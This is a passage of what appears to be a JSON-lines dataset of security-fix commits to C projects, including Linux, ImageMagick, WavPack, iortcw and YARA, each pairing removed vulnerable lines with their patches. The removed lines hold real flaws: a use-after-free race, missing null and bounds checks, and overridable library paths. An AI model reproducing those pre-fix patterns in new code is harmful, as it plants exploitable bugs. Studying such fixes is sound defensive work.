"commit_id": "376267d534476a875d8b9228149c4ee18b74a4fd", "commit_message": "Don't load .pk3s as .dlls, and don't load user config files from .pk3s.", "patch": "@@ -3200,7 +3200,7 @@ void CL_InitRef( void ) {\n \tCom_Printf( \"----- Initializing Renderer ----\\n\" );\n \n #ifdef USE_RENDERER_DLOPEN\n-\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl2\", CVAR_ARCHIVE | CVAR_LATCH);\n+\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl2\", CVAR_ARCHIVE | CVAR_LATCH | CVAR_PROTECTED);\n \n \tCom_sprintf(dllName, sizeof(dllName), \"renderer_%s_\" ARCH_STRING DLL_EXT, cl_renderer->string);\n \n@@ -3551,7 +3551,7 @@ void CL_Init( void ) {\n \n \tcl_allowDownload = Cvar_Get (\"cl_allowDownload\", \"0\", CVAR_ARCHIVE);\n #ifdef USE_CURL_DLOPEN\n-\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE);\n+\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE | CVAR_PROTECTED);\n #endif\n \n \tcl_conXOffset = Cvar_Get (\"cl_conXOffset\", \"0\", 0);", "sections": [{"section": "@@ -3200,7 +3200,7 @@ void CL_InitRef( void ) {\n \tCom_Printf( \"----- Initializing Renderer ----\\n\" );\n \n #ifdef USE_RENDERER_DLOPEN\n-\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl2\", CVAR_ARCHIVE | CVAR_LATCH);\n+\tcl_renderer = Cvar_Get(\"cl_renderer\", \"opengl2\", CVAR_ARCHIVE | CVAR_LATCH | CVAR_PROTECTED);\n \n \tCom_sprintf(dllName, sizeof(dllName), \"renderer_%s_\" ARCH_STRING DLL_EXT, cl_renderer->string);\n \n", "related": false}, {"section": "@@ -3551,7 +3551,7 @@ void CL_Init( void ) {\n \n \tcl_allowDownload = Cvar_Get (\"cl_allowDownload\", \"0\", CVAR_ARCHIVE);\n #ifdef USE_CURL_DLOPEN\n-\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE);\n+\tcl_cURLLib = Cvar_Get(\"cl_cURLLib\", DEFAULT_CURL_LIB, CVAR_ARCHIVE | CVAR_PROTECTED);\n #endif\n \n \tcl_conXOffset = Cvar_Get (\"cl_conXOffset\", \"0\", 0);", "related": false}]} +{"owner": "iortcw", "repo": "iortcw", "language": "C", "file_name": "MP/code/qcommon/common.c", "commit_id": "11a83410153756ae350a82ed41b08d128ff7f998", "commit_message": "All: Merge some file writing extension checks", "patch": "@@ -3058,6 +3058,12 @@ void Com_WriteConfig_f( void ) {\n \t\treturn;\n \t}\n \n+\tif (!COM_CompareExtension(filename, \".cfg\"))\n+\t{\n+\t\tCom_Printf(\"Com_WriteConfig_f: Only the \\\".cfg\\\" extension is supported by this command!\\n\");\n+\t\treturn;\n+\t}\n+\n \tQ_strncpyz( filename, Cmd_Argv( 1 ), sizeof( filename ) );\n \tCOM_DefaultExtension( filename, sizeof( filename ), \".cfg\" );\n \tCom_Printf( \"Writing %s.\\n\", filename );", "sections": [{"section": "@@ -3058,6 +3058,12 @@ void Com_WriteConfig_f( void ) {\n \t\treturn;\n \t}\n \n+\tif (!COM_CompareExtension(filename, \".cfg\"))\n+\t{\n+\t\tCom_Printf(\"Com_WriteConfig_f: Only the \\\".cfg\\\" extension is supported by this command!\\n\");\n+\t\treturn;\n+\t}\n+\n \tQ_strncpyz( filename, Cmd_Argv( 1 ), sizeof( filename ) );\n \tCOM_DefaultExtension( filename, sizeof( filename ), \".cfg\" );\n \tCom_Printf( \"Writing %s.\\n\", filename );", "related": false}]} +{"owner": "dbry", "repo": "wavpack", "language": "C", "file_name": "src/open_utils.c", "commit_id": "4bc05fc490b66ef2d45b1de26abf1455b486b0dc", "commit_message": "fixes for 4 fuzz failures posted to SourceForge mailing list", "patch": "@@ -560,7 +560,7 @@ static int read_new_config_info (WavpackContext *wpc, WavpackMetadata *wpmd)\n \n // if there's any data, the first two bytes are file_format and qmode flags\n \n- if (bytecnt) {\n+ if (bytecnt >= 2) {\n wpc->file_format = *byteptr++;\n wpc->config.qmode = (wpc->config.qmode & ~0xff) | *byteptr++;\n bytecnt -= 2;\n@@ -593,6 +593,10 @@ static int read_new_config_info (WavpackContext *wpc, WavpackMetadata *wpmd)\n for (i = 0; i < nchans; ++i)\n if (bytecnt) {\n wpc->channel_reordering [i] = *byteptr++;\n+\n+ if (wpc->channel_reordering [i] >= nchans) // make sure index is in range\n+ wpc->channel_reordering [i] = 0;\n+\n bytecnt--;\n }\n else", "sections": [{"section": "@@ -560,7 +560,7 @@ static int read_new_config_info (WavpackContext *wpc, WavpackMetadata *wpmd)\n \n // if there's any data, the first two bytes are file_format and qmode flags\n \n- if (bytecnt) {\n+ if (bytecnt >= 2) {\n wpc->file_format = *byteptr++;\n wpc->config.qmode = (wpc->config.qmode & ~0xff) | *byteptr++;\n bytecnt -= 2;\n", "related": false}, {"section": "@@ -593,6 +593,10 @@ static int read_new_config_info (WavpackContext *wpc, WavpackMetadata *wpmd)\n for (i = 0; i < nchans; ++i)\n if (bytecnt) {\n wpc->channel_reordering [i] = *byteptr++;\n+\n+ if (wpc->channel_reordering [i] >= nchans) // make sure index is in range\n+ wpc->channel_reordering [i] = 0;\n+\n bytecnt--;\n }\n else", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/ucount.c", "commit_id": "040757f738e13caaa9c5078bca79aa97e11dde88", "commit_message": "ucount: Remove the atomicity from ucount->count\n\nAlways increment/decrement ucount->count under the ucounts_lock. The\nincrements are there already and moving the decrements there means the\nlocking logic of the code is simpler. This simplification in the\nlocking logic fixes a race between put_ucounts and get_ucounts that\ncould result in a use-after-free because the count could go zero then\nbe found by get_ucounts and then be freed by put_ucounts.\n\nA bug presumably this one was found by a combination of syzkaller and\nKASAN. JongWhan Kim reported the syzkaller failure and Dmitry Vyukov\nspotted the race in the code.\n\nCc: stable@vger.kernel.org\nFixes: f6b2db1a3e8d (\"userns: Make the count of user namespaces per user\")\nReported-by: JongHwan Kim \nReported-by: Dmitry Vyukov \nReviewed-by: Andrei Vagin \nSigned-off-by: \"Eric W. Biederman\" ", "patch": "@@ -144,7 +144,7 @@ static struct ucounts *get_ucounts(struct user_namespace *ns, kuid_t uid)\n \n \t\tnew->ns = ns;\n \t\tnew->uid = uid;\n-\t\tatomic_set(&new->count, 0);\n+\t\tnew->count = 0;\n \n \t\tspin_lock_irq(&ucounts_lock);\n \t\tucounts = find_ucounts(ns, uid, hashent);\n@@ -155,8 +155,10 @@ static struct ucounts *get_ucounts(struct user_namespace *ns, kuid_t uid)\n \t\t\tucounts = new;\n \t\t}\n \t}\n-\tif (!atomic_add_unless(&ucounts->count, 1, INT_MAX))\n+\tif (ucounts->count == INT_MAX)\n \t\tucounts = NULL;\n+\telse\n+\t\tucounts->count += 1;\n \tspin_unlock_irq(&ucounts_lock);\n \treturn ucounts;\n }\n@@ -165,13 +167,15 @@ static void put_ucounts(struct ucounts *ucounts)\n {\n \tunsigned long flags;\n \n-\tif (atomic_dec_and_test(&ucounts->count)) {\n-\t\tspin_lock_irqsave(&ucounts_lock, flags);\n+\tspin_lock_irqsave(&ucounts_lock, flags);\n+\tucounts->count -= 1;\n+\tif (!ucounts->count)\n \t\thlist_del_init(&ucounts->node);\n-\t\tspin_unlock_irqrestore(&ucounts_lock, flags);\n+\telse\n+\t\tucounts = NULL;\n+\tspin_unlock_irqrestore(&ucounts_lock, flags);\n \n-\t\tkfree(ucounts);\n-\t}\n+\tkfree(ucounts);\n }\n \n static inline bool atomic_inc_below(atomic_t *v, int u)", "sections": [{"section": "@@ -144,7 +144,7 @@ static struct ucounts *get_ucounts(struct user_namespace *ns, kuid_t uid)\n \n \t\tnew->ns = ns;\n \t\tnew->uid = uid;\n-\t\tatomic_set(&new->count, 0);\n+\t\tnew->count = 0;\n \n \t\tspin_lock_irq(&ucounts_lock);\n \t\tucounts = find_ucounts(ns, uid, hashent);\n", "related": false}, {"section": "@@ -155,8 +155,10 @@ static struct ucounts *get_ucounts(struct user_namespace *ns, kuid_t uid)\n \t\t\tucounts = new;\n \t\t}\n \t}\n-\tif (!atomic_add_unless(&ucounts->count, 1, INT_MAX))\n+\tif (ucounts->count == INT_MAX)\n \t\tucounts = NULL;\n+\telse\n+\t\tucounts->count += 1;\n \tspin_unlock_irq(&ucounts_lock);\n \treturn ucounts;\n }\n", "related": false}, {"section": "@@ -165,13 +167,15 @@ static void put_ucounts(struct ucounts *ucounts)\n {\n \tunsigned long flags;\n \n-\tif (atomic_dec_and_test(&ucounts->count)) {\n-\t\tspin_lock_irqsave(&ucounts_lock, flags);\n+\tspin_lock_irqsave(&ucounts_lock, flags);\n+\tucounts->count -= 1;\n+\tif (!ucounts->count)\n \t\thlist_del_init(&ucounts->node);\n-\t\tspin_unlock_irqrestore(&ucounts_lock, flags);\n+\telse\n+\t\tucounts = NULL;\n+\tspin_unlock_irqrestore(&ucounts_lock, flags);\n \n-\t\tkfree(ucounts);\n-\t}\n+\tkfree(ucounts);\n }\n \n static inline bool atomic_inc_below(atomic_t *v, int u)", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/psd.c", "commit_id": "7f2dc7a1afc067d0c89f12c82bcdec0445fb1b94", "commit_message": "Added missing null check.", "patch": "@@ -1284,8 +1284,11 @@ static MagickBooleanType ReadPSDChannel(Image *image,\n }\n mask=CloneImage(image,layer_info->mask.page.width,\n layer_info->mask.page.height,MagickFalse,exception);\n- mask->matte=MagickFalse;\n- channel_image=mask;\n+ if (mask != (Image *) NULL)\n+ {\n+ mask->matte=MagickFalse;\n+ channel_image=mask;\n+ }\n }\n \n offset=TellBlob(image);", "sections": [{"section": "@@ -1284,8 +1284,11 @@ static MagickBooleanType ReadPSDChannel(Image *image,\n }\n mask=CloneImage(image,layer_info->mask.page.width,\n layer_info->mask.page.height,MagickFalse,exception);\n- mask->matte=MagickFalse;\n- channel_image=mask;\n+ if (mask != (Image *) NULL)\n+ {\n+ mask->matte=MagickFalse;\n+ channel_image=mask;\n+ }\n }\n \n offset=TellBlob(image);", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/memory-private.h", "commit_id": "e45e48b881038487d0bc94d92a16c1537616cc0a", "commit_message": "Suspend exception processing if too many exceptions", "patch": "@@ -42,6 +42,9 @@ extern \"C\" {\n #define MagickAssumeAligned(address) (address)\n #endif\n \n+MagickExport MagickBooleanType \n+ HeapOverflowSanityCheck(const size_t,const size_t) magick_alloc_sizes(1,2);\n+\n #if defined(__cplusplus) || defined(c_plusplus)\n }\n #endif", "sections": [{"section": "@@ -42,6 +42,9 @@ extern \"C\" {\n #define MagickAssumeAligned(address) (address)\n #endif\n \n+MagickExport MagickBooleanType \n+ HeapOverflowSanityCheck(const size_t,const size_t) magick_alloc_sizes(1,2);\n+\n #if defined(__cplusplus) || defined(c_plusplus)\n }\n #endif", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/clipboard.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -136,7 +136,7 @@ static Image *ReadCLIPBOARDImage(const ImageInfo *image_info,\n bitmapH=(HBITMAP) GetClipboardData(CF_BITMAP);\n hPal=(HPALETTE) GetClipboardData(CF_PALETTE);\n CloseClipboard();\n- if ( bitmapH == NULL )\n+ if (bitmapH == NULL)\n ThrowReaderException(CoderError,\"NoBitmapOnClipboard\");\n {\n BITMAPINFO\n@@ -163,8 +163,14 @@ static Image *ReadCLIPBOARDImage(const ImageInfo *image_info,\n GetObject(bitmapH,sizeof(BITMAP),(LPSTR) &bitmap);\n if ((image->columns == 0) || (image->rows == 0))\n {\n- image->rows=bitmap.bmHeight;\n image->columns=bitmap.bmWidth;\n+ image->rows=bitmap.bmHeight;\n+ }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n }\n /*\n Initialize the bitmap header info.", "sections": [{"section": "@@ -136,7 +136,7 @@ static Image *ReadCLIPBOARDImage(const ImageInfo *image_info,\n bitmapH=(HBITMAP) GetClipboardData(CF_BITMAP);\n hPal=(HPALETTE) GetClipboardData(CF_PALETTE);\n CloseClipboard();\n- if ( bitmapH == NULL )\n+ if (bitmapH == NULL)\n ThrowReaderException(CoderError,\"NoBitmapOnClipboard\");\n {\n BITMAPINFO\n", "related": false}, {"section": "@@ -163,8 +163,14 @@ static Image *ReadCLIPBOARDImage(const ImageInfo *image_info,\n GetObject(bitmapH,sizeof(BITMAP),(LPSTR) &bitmap);\n if ((image->columns == 0) || (image->rows == 0))\n {\n- image->rows=bitmap.bmHeight;\n image->columns=bitmap.bmWidth;\n+ image->rows=bitmap.bmHeight;\n+ }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n }\n /*\n Initialize the bitmap header info.", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/fax.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -178,6 +178,12 @@ static Image *ReadFAXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n status=HuffmanDecodeImage(image);\n if (status == MagickFalse)\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");", "sections": [{"section": "@@ -178,6 +178,12 @@ static Image *ReadFAXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n status=HuffmanDecodeImage(image);\n if (status == MagickFalse)\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/jbig.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -219,6 +219,12 @@ static Image *ReadJBIGImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert X bitmap image to pixel packets.\n */", "sections": [{"section": "@@ -219,6 +219,12 @@ static Image *ReadJBIGImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert X bitmap image to pixel packets.\n */", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/mtv.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -158,6 +158,12 @@ static Image *ReadMTVImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert MTV raster image to pixel packets.\n */", "sections": [{"section": "@@ -158,6 +158,12 @@ static Image *ReadMTVImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert MTV raster image to pixel packets.\n */", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/pix.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -161,6 +161,12 @@ static Image *ReadPIXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert PIX raster image to pixel packets.\n */", "sections": [{"section": "@@ -161,6 +161,12 @@ static Image *ReadPIXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert PIX raster image to pixel packets.\n */", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/sgi.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -374,6 +374,12 @@ static Image *ReadSGIImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate SGI pixels.\n */", "sections": [{"section": "@@ -374,6 +374,12 @@ static Image *ReadSGIImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate SGI pixels.\n */", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/txt.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -228,6 +228,12 @@ static Image *ReadTEXTImage(const ImageInfo *image_info,Image *image,\n delta.x)+0.5);\n image->rows=(size_t) floor((((double) page.height*image->y_resolution)/\n delta.y)+0.5);\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n image->page.x=0;\n image->page.y=0;\n texture=(Image *) NULL;\n@@ -437,6 +443,12 @@ static Image *ReadTXTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->rows=height;\n for (depth=1; (GetQuantumRange(depth)+1) < max_value; depth++) ;\n image->depth=depth;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n LocaleLower(colorspace);\n i=(ssize_t) strlen(colorspace)-1;\n image->matte=MagickFalse;", "sections": [{"section": "@@ -228,6 +228,12 @@ static Image *ReadTEXTImage(const ImageInfo *image_info,Image *image,\n delta.x)+0.5);\n image->rows=(size_t) floor((((double) page.height*image->y_resolution)/\n delta.y)+0.5);\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n image->page.x=0;\n image->page.y=0;\n texture=(Image *) NULL;\n", "related": false}, {"section": "@@ -437,6 +443,12 @@ static Image *ReadTXTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->rows=height;\n for (depth=1; (GetQuantumRange(depth)+1) < max_value; depth++) ;\n image->depth=depth;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n LocaleLower(colorspace);\n i=(ssize_t) strlen(colorspace)-1;\n image->matte=MagickFalse;", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/xc.c", "commit_id": "f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "commit_message": "", "patch": "@@ -132,6 +132,12 @@ static Image *ReadXCImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=1;\n if (image->rows == 0)\n image->rows=1;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n (void) CopyMagickString(image->filename,image_info->filename,MaxTextExtent);\n status=QueryMagickColor((char *) image_info->filename,&color,exception);\n if (status == MagickFalse)", "sections": [{"section": "@@ -132,6 +132,12 @@ static Image *ReadXCImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=1;\n if (image->rows == 0)\n image->rows=1;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n (void) CopyMagickString(image->filename,image_info->filename,MaxTextExtent);\n status=QueryMagickColor((char *) image_info->filename,&color,exception);\n if (status == MagickFalse)", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/mat.c", "commit_id": "8a370f9ab120faf182aa160900ba692ba8e2bcf0", "commit_message": "Added check for invalid number of frames.", "patch": "@@ -942,7 +942,9 @@ MATLAB_KO: ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n case 16: z2=z = ReadBlobXXXLong(image2); /* 4D matrix animation */\n if(z!=3 && z!=1)\n ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n- Frames = ReadBlobXXXLong(image2);\n+ Frames = ReadBlobXXXLong(image2);\n+ if (Frames == 0)\n+ ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n break;\n default: ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n }", "sections": [{"section": "@@ -942,7 +942,9 @@ MATLAB_KO: ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n case 16: z2=z = ReadBlobXXXLong(image2); /* 4D matrix animation */\n if(z!=3 && z!=1)\n ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n- Frames = ReadBlobXXXLong(image2);\n+ Frames = ReadBlobXXXLong(image2);\n+ if (Frames == 0)\n+ ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n break;\n default: ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n }", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/msl.c", "commit_id": "56d6e20de489113617cbbddaf41e92600a34db22", "commit_message": "Prevent fault in MSL interpreter", "patch": "@@ -4999,6 +4999,8 @@ static void MSLStartElement(void *context,const xmlChar *tag,\n Image\n *image;\n \n+ if (value == (char *) NULL)\n+ break;\n (void) CopyMagickString(msl_info->image_info[n]->filename,\n value,MaxTextExtent);\n image=ReadImage(msl_info->image_info[n],exception);", "sections": [{"section": "@@ -4999,6 +4999,8 @@ static void MSLStartElement(void *context,const xmlChar *tag,\n Image\n *image;\n \n+ if (value == (char *) NULL)\n+ break;\n (void) CopyMagickString(msl_info->image_info[n]->filename,\n value,MaxTextExtent);\n image=ReadImage(msl_info->image_info[n],exception);", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/property.c", "commit_id": "b61d35eaccc0a7ddeff8a1c3abfcd0a43ccf210b", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/298", "patch": "@@ -213,7 +213,7 @@ MagickExport MagickBooleanType CloneImageProperties(Image *image,\n %\n % DefineImageProperty() associates an assignment string of the form\n % \"key=value\" with an artifact or options. It is equivelent to\n-% SetImageProperty()\n+% SetImageProperty().\n %\n % The format of the DefineImageProperty method is:\n %\n@@ -3962,7 +3962,7 @@ MagickExport MagickBooleanType SetImageProperty(Image *image,\n {\n /*\n Do not 'set' single letter properties - read only shorthand.\n- */\n+ */\n (void) ThrowMagickException(exception,GetMagickModule(),OptionError,\n \"SetReadOnlyProperty\",\"`%s'\",property);\n return(MagickFalse);", "sections": [{"section": "@@ -213,7 +213,7 @@ MagickExport MagickBooleanType CloneImageProperties(Image *image,\n %\n % DefineImageProperty() associates an assignment string of the form\n % \"key=value\" with an artifact or options. It is equivelent to\n-% SetImageProperty()\n+% SetImageProperty().\n %\n % The format of the DefineImageProperty method is:\n %\n", "related": false}, {"section": "@@ -3962,7 +3962,7 @@ MagickExport MagickBooleanType SetImageProperty(Image *image,\n {\n /*\n Do not 'set' single letter properties - read only shorthand.\n- */\n+ */\n (void) ThrowMagickException(exception,GetMagickModule(),OptionError,\n \"SetReadOnlyProperty\",\"`%s'\",property);\n return(MagickFalse);", "related": false}]} +{"owner": "virustotal", "repo": "yara", "language": "C", "file_name": "libyara/exec.c", "commit_id": "83d799804648c2a0895d40a19835d9b757c6fa4e", "commit_message": "Fix issue #646 (#648)\n\n* Fix issue #646 and some edge cases with wide regexps using \\b and \\B\r\n\r\n* Rename function IS_WORD_CHAR to _yr_re_is_word_char", "patch": "@@ -850,6 +850,7 @@ int yr_execute_code(\n (uint8_t*) r2.re->code,\n (uint8_t*) r1.ss->c_string,\n r1.ss->length,\n+ 0,\n r2.re->flags | RE_FLAGS_SCAN,\n NULL,\n NULL) >= 0;", "sections": [{"section": "@@ -850,6 +850,7 @@ int yr_execute_code(\n (uint8_t*) r2.re->code,\n (uint8_t*) r1.ss->c_string,\n r1.ss->length,\n+ 0,\n r2.re->flags | RE_FLAGS_SCAN,\n NULL,\n NULL) >= 0;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/media/usb/dvb-usb/cxusb.c", "commit_id": "3f190e3aec212fc8c61e202c51400afa7384d4bc", "commit_message": "[media] cxusb: Use a dma capable buffer also for reading\n\nCommit 17ce039b4e54 (\"[media] cxusb: don't do DMA on stack\")\nadded a kmalloc'ed bounce buffer for writes, but missed to do the same\nfor reads. As the read only happens after the write is finished, we can\nreuse the same buffer.\n\nAs dvb_usb_generic_rw handles a read length of 0 by itself, avoid calling\nit using the dvb_usb_generic_read wrapper function.\n\nSigned-off-by: Stefan Brüns \nSigned-off-by: Mauro Carvalho Chehab ", "patch": "@@ -59,23 +59,24 @@ static int cxusb_ctrl_msg(struct dvb_usb_device *d,\n \t\t\t u8 cmd, u8 *wbuf, int wlen, u8 *rbuf, int rlen)\n {\n \tstruct cxusb_state *st = d->priv;\n-\tint ret, wo;\n+\tint ret;\n \n \tif (1 + wlen > MAX_XFER_SIZE) {\n \t\twarn(\"i2c wr: len=%d is too big!\\n\", wlen);\n \t\treturn -EOPNOTSUPP;\n \t}\n \n-\two = (rbuf == NULL || rlen == 0); /* write-only */\n+\tif (rlen > MAX_XFER_SIZE) {\n+\t\twarn(\"i2c rd: len=%d is too big!\\n\", rlen);\n+\t\treturn -EOPNOTSUPP;\n+\t}\n \n \tmutex_lock(&d->data_mutex);\n \tst->data[0] = cmd;\n \tmemcpy(&st->data[1], wbuf, wlen);\n-\tif (wo)\n-\t\tret = dvb_usb_generic_write(d, st->data, 1 + wlen);\n-\telse\n-\t\tret = dvb_usb_generic_rw(d, st->data, 1 + wlen,\n-\t\t\t\t\t rbuf, rlen, 0);\n+\tret = dvb_usb_generic_rw(d, st->data, 1 + wlen, st->data, rlen, 0);\n+\tif (!ret && rbuf && rlen)\n+\t\tmemcpy(rbuf, st->data, rlen);\n \n \tmutex_unlock(&d->data_mutex);\n \treturn ret;", "sections": [{"section": "@@ -59,23 +59,24 @@ static int cxusb_ctrl_msg(struct dvb_usb_device *d,\n \t\t\t u8 cmd, u8 *wbuf, int wlen, u8 *rbuf, int rlen)\n {\n \tstruct cxusb_state *st = d->priv;\n-\tint ret, wo;\n+\tint ret;\n \n \tif (1 + wlen > MAX_XFER_SIZE) {\n \t\twarn(\"i2c wr: len=%d is too big!\\n\", wlen);\n \t\treturn -EOPNOTSUPP;\n \t}\n \n-\two = (rbuf == NULL || rlen == 0); /* write-only */\n+\tif (rlen > MAX_XFER_SIZE) {\n+\t\twarn(\"i2c rd: len=%d is too big!\\n\", rlen);\n+\t\treturn -EOPNOTSUPP;\n+\t}\n \n \tmutex_lock(&d->data_mutex);\n \tst->data[0] = cmd;\n \tmemcpy(&st->data[1], wbuf, wlen);\n-\tif (wo)\n-\t\tret = dvb_usb_generic_write(d, st->data, 1 + wlen);\n-\telse\n-\t\tret = dvb_usb_generic_rw(d, st->data, 1 + wlen,\n-\t\t\t\t\t rbuf, rlen, 0);\n+\tret = dvb_usb_generic_rw(d, st->data, 1 + wlen, st->data, rlen, 0);\n+\tif (!ret && rbuf && rlen)\n+\t\tmemcpy(rbuf, st->data, rlen);\n \n 